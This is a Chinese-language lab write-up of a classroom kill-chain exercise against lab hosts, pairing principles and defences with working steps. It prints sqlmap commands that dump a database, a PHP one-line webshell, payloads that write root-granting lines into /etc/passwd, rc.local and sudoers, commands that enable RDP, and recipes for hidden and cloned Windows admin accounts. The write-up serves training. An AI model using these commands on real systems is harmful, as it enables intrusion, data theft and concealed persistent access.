安全攻防综合实验 lab10 killchain
其他的实验可以去看慕念大佬的博客,但是这个实验killchain是没有的,所以我打算写一下造福后人,传递薪火!
Linux远程入侵
sql注入
知识点分析
SQL注入原理: SQL注入是一种常见的Web应用程序安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,从而欺骗数据库服务器执行非预期的SQL命令。当应用程序没有对用户输入进行充分的验证和过滤时,攻击者可以:
- 绕过身份验证机制
- 读取、修改或删除数据库中的敏感数据
- 执行数据库管理操作
- 在某些情况下,甚至可以在数据库服务器上执行系统命令
技术要点:
- 注入点识别:通过端口扫描(nmap)发现开放的服务端口,定位Web应用程序入口点
- 自动化工具使用:sqlmap是专门用于检测和利用SQL注入漏洞的自动化工具,能够:
- 自动检测注入点类型(GET、POST、Cookie等)
- 识别数据库类型和版本
- 枚举数据库、表、列结构
- 提取数据内容
- 注入类型:本实验中涉及POST型注入,需要指定
--method=POST和--data参数 - 会话管理:使用
--cookie参数保持会话状态,这对于需要认证的注入点至关重要
安全影响:
- 数据泄露:可能导致用户信息、密码等敏感数据泄露
- 权限提升:可能获取管理员权限,完全控制数据库
- 系统入侵:在某些配置下,可能进一步入侵操作系统
防护措施:
- 使用参数化查询(Prepared Statements)
- 对用户输入进行严格验证和过滤
- 最小权限原则:数据库用户只授予必要权限
- 定期进行安全审计和渗透测试
端口扫描:
nmap -sV -sC -p- 192.168.1.6
发现端口80开放

发现注入点,使用sqlmap:
# 基础注入检测(确认漏洞存在)
sqlmap -u "http://10.20.26.253:38457/welcome.php" \
--method=POST \
--data="search=123" \
--cookie="PHPSESSID=lsjiieko0556rf6n365kbnlb34" \
--batch
# 如果确认漏洞存在,获取数据库列表
sqlmap -u "http://10.20.26.253:38457/welcome.php" \
--method=POST \
--data="search=123" \
--cookie="PHPSESSID=lsjiieko0556rf6n365kbnlb34" \
--dbs \
--batch
# 获取指定数据库的表(假设数据库名为webapp)
sqlmap -u "http://10.20.26.253:38457/welcome.php" \
--method=POST \
--data="search=123" \
--cookie="PHPSESSID=lsjiieko0556rf6n365kbnlb34" \
-D webapp \
--tables \
--batch
最后使用:
sqlmap -u "http://192.168.1.6/welcome.php" \
--method=POST \
--data="search=123" \
--cookie="PHPSESSID=lsjiieko0556rf6n365kbnlb34" \
-D webapphacking \
--dump-all \
--batch
导出所有webapphacking数据库表中的内容:

文件上传
知识点分析
文件上传漏洞原理: 文件上传漏洞是指Web应用程序允许用户上传文件,但未对上传的文件进行充分的安全检查,导致攻击者可以上传恶意文件(如Webshell、木马等)到服务器,从而获取服务器控制权。
技术要点:
- Webshell原理:本实验使用的PHP一句话木马
<?php @eval($_POST['shell']); ?>:eval()函数可以执行任意PHP代码$_POST['shell']接收POST参数中的代码并执行@符号用于抑制错误信息,提高隐蔽性
- 文件上传绕过技术:
- 文件类型检查绕过(修改Content-Type、文件扩展名等)
- 文件内容检查绕过(使用图片马、代码混淆等)
- 路径遍历攻击(../目录穿越)
- 蚁剑连接:中国蚁剑(AntSword)是一款Webshell管理工具,通过Webshell与目标服务器建立连接,提供文件管理、命令执行等功能
- 文件定位:上传后的文件需要确定存储路径,常见位置包括:
- 上传目录(uploads/、files/等)
- 临时目录
- 通过目录遍历或信息泄露获取路径
安全影响:
- 服务器完全沦陷:攻击者可以执行任意系统命令
- 数据泄露:可以访问服务器上的所有文件
- 横向渗透:可以作为跳板攻击内网其他系统
- 持久化后门:即使修复漏洞,已上传的Webshell仍可继续使用
防护措施:
- 严格的文件类型验证(白名单机制)
- 文件内容检查(文件头、病毒扫描)
- 文件重命名(避免直接使用用户提供的文件名)
- 限制上传目录的执行权限
- 将上传文件存储在Web根目录外,通过脚本访问
- 定期扫描和清理可疑文件
登录Ultraman用户,发现文件上传接口

将木马文件shell.php上传:
<?php @eval($_POST['shell']); ?>
然后稍微找一下上传文件的位置,蚁剑连接:

获得shell

提权
知识点分析
Linux提权原理: 提权(Privilege Escalation)是指将当前用户的权限提升到更高权限(通常是root)的过程。在Linux系统中,常见的提权方式包括:
- SUID程序利用:SUID(Set User ID)是一种特殊的文件权限,当程序设置了SUID位时,执行该程序的用户会临时获得程序所有者的权限
- 堆溢出漏洞:堆溢出是一种内存安全漏洞,当程序向堆内存写入数据时,没有正确检查边界,导致覆盖相邻内存区域,可能被利用来执行任意代码或修改关键数据
技术要点:
- SUID程序查找:使用
find / -perm -4000 2>/dev/null查找具有SUID权限的程序 - 堆溢出利用:
- 本实验中的
.heap程序存在堆溢出漏洞 - 通过精心构造的输入,可以覆盖关键内存区域
- 利用漏洞修改系统关键文件(如
/etc/passwd、/etc/sudoers、/etc/rc.local)
- 本实验中的
- 文件注入技术:
/etc/passwd:存储用户账户信息,通过注入新用户或修改现有用户UID/GID实现提权/etc/sudoers:配置sudo权限,添加NOPASSWD规则可无需密码执行sudo命令/etc/rc.local:系统启动脚本,可写入命令实现持久化
- 权限维持:通过修改系统配置文件,确保即使程序修复,仍能保持高权限访问
安全影响:
- 完全控制系统:获得root权限后可以执行任何操作
- 数据窃取:可以访问所有文件和系统资源
- 权限维持:通过后门实现长期控制
- 横向渗透:可以作为跳板攻击其他系统
防护措施:
- 最小权限原则:只给程序必要的权限,避免不必要的SUID设置
- 代码审计:定期检查SUID程序,移除不必要的SUID位
- 内存安全:使用安全的编程语言和内存管理机制
- 文件完整性监控:监控关键系统文件的修改
- 定期安全更新:及时修补已知漏洞
检索具有suid的程序:

发现这里有一个.heap程序明显具有漏洞,尝试使用这个漏洞提权。
发现是堆溢出漏洞,进行攻击:
$'hacker::0:0::/:/bin/sh\nAAAAAAAAA/etc/passwd'

成功了,但是并非完全成功,因为登录不进去
换一种方法,尝试向rc.loacal文件写入:
payload:
./.heap 'chpasswd root:1 #/etc/rc.local'
./.heap 'chpasswd <<< root:1 #/etc/rc.local'
执行cat看看,成功了:

依然无法登录,尝试其他办法,写入sudoers文件试试:
./.heap 'www-data ALL=(ALL) NOPASSWD:ALL #/etc/sudoers'
成功了:

找到控制转移文件:

现在获得了账号密码:
Happy/Christmas
登录windows桌面
知识点分析
Windows远程桌面原理: 远程桌面协议(RDP,Remote Desktop Protocol)是微软开发的专有协议,允许用户通过网络远程连接到Windows系统并控制桌面环境。RDP默认使用TCP端口3389。
技术要点:
- RDP服务启用:
- Windows系统默认可能禁用远程桌面连接
- 通过注册表修改
fDenyTSConnections值(0=启用,1=禁用)可以控制RDP服务 - 注册表路径:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
- 防火墙配置:
- Windows防火墙可能阻止RDP连接
- 需要添加防火墙规则允许远程桌面流量
- 使用
netsh命令可以配置防火墙规则
- SSH远程管理:
- Windows 10/Server 2019及更高版本支持OpenSSH服务器
- 通过SSH可以远程执行命令,即使RDP被禁用
- 提供了另一种远程管理方式
- 安全限制绕过:
- 通过SSH连接后,可以修改系统配置启用RDP
- 需要同时处理注册表和防火墙两个层面的限制
- 某些安全策略可能导致连接后立即断开,需要进一步排查
安全影响:
- 完全控制目标系统:获得图形界面访问权限
- 数据窃取:可以访问桌面文件、剪贴板等
- 持久化访问:建立稳定的远程访问通道
- 横向渗透:可以作为跳板攻击内网其他系统
防护措施:
- 限制RDP访问IP范围
- 使用强密码和账户锁定策略
- 启用网络级身份验证(NLA)
- 修改默认RDP端口(3389)
- 使用VPN或堡垒机进行访问控制
- 启用审计日志监控异常登录
- 定期检查远程访问账户和权限
直接使用windows的mstsc来登录,发现被禁止了,需要修改密码,于是将密码改成123456,还是登不进去
这个时候发现,其实该主机是限制了远程桌面的登录,所以没法登录,怎么办呢?
我们可以使用ssh远程登录,使用kali的ssh远程登录,上去之后输入指令:
# 启用远程桌面
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
启动桌面,尝试登录,确实成功了,登录进去了,但是几秒钟过后,就会被强制退出,在此之后,也无法再次登录,怎么回事呢?因为被防火墙给拦截了,于是,关闭防火墙,下一步,登录。
# 关闭防火墙(或添加例外)
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
登录成功并获取到截图

最后,关于注册隐藏账号,大概有三种方式:
知识点分析
Windows隐藏账号原理: 隐藏账号是一种权限维持技术,攻击者在获得系统控制权后,创建不易被发现的用户账户,用于长期控制目标系统。隐藏账号的核心是绕过Windows系统的正常账户显示机制。
技术要点:
- 方法一:$结尾隐藏账号
- Windows系统中,以
$结尾的用户名在net user命令中默认不显示 - 这是最简单的隐藏方式,但通过
net user命令仍可查看 - 在用户管理界面(lusrmgr.msc)中可能仍然可见
- 隐蔽性较低,容易被发现
- Windows系统中,以
- 方法二:注册表隐藏账号
- 通过修改注册表项
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList - 将用户名对应的值设置为0,可以隐藏登录界面显示
- 比方法一更隐蔽,但账户仍然存在于系统中
- 可以通过注册表查询或专业工具发现
- 通过修改注册表项
- 方法三:账号克隆(最隐蔽)
- 通过修改SAM(Security Account Manager)数据库中的SID(Security Identifier)
- 将隐藏账号的SID修改为管理员账号的SID
- 系统会将隐藏账号识别为管理员账号
- 这是最隐蔽的方式,因为账户信息与管理员完全一致
- 需要直接操作SAM数据库,风险较高
安全影响:
- 权限维持:即使原漏洞被修复,仍可通过隐藏账号访问
- 隐蔽性强:普通管理员可能难以发现
- 长期控制:可以实现对系统的长期、隐蔽控制
- 审计绕过:可能绕过部分安全审计机制
检测与防护措施:
- 定期检查用户账户列表,使用多种工具交叉验证
- 监控SAM数据库的修改
- 使用专业的安全工具(如Sysinternals Suite)检测隐藏账号
- 启用账户审计,记录所有账户创建和修改操作
- 限制注册表访问权限
- 定期审查管理员权限账户
- 使用组策略限制账户创建权限
在Windows中建立隐蔽账号的方法: 方法一:创建以$结尾的隐藏账号
# 创建隐藏账号(net user默认不显示$结尾的账号)
net user hacker$ P@ssw0rd123! /add
net localgroup administrators hacker$ /add
方法二:修改注册表彻底隐藏账号
# 1. 创建普通账号
net user shadowuser P@ssw0rd123! /add
net localgroup administrators shadowuser /add
# 2. 修改注册表隐藏账号
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v shadowuser /t REG_DWORD /d 0 /f
# 3. 隐藏登录界面显示
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts" /f
方法三:克隆管理员账号(最隐蔽)
# 1. 先激活内置管理员账号
net user administrator /active:yes
net user administrator P@ssw0rd123!
# 2. 创建隐蔽账号
net user backupadmin$ P@ssw0rd123! /add
# 3. 导出管理员SID
wmic useraccount where name='administrator' get sid
# 4. 将隐蔽账号SID改为管理员SID(通过注册表)
reg add "HKLM\SAM\SAM\Domains\Account\Users\000003E9" /f
这几种方法应该都是能成功的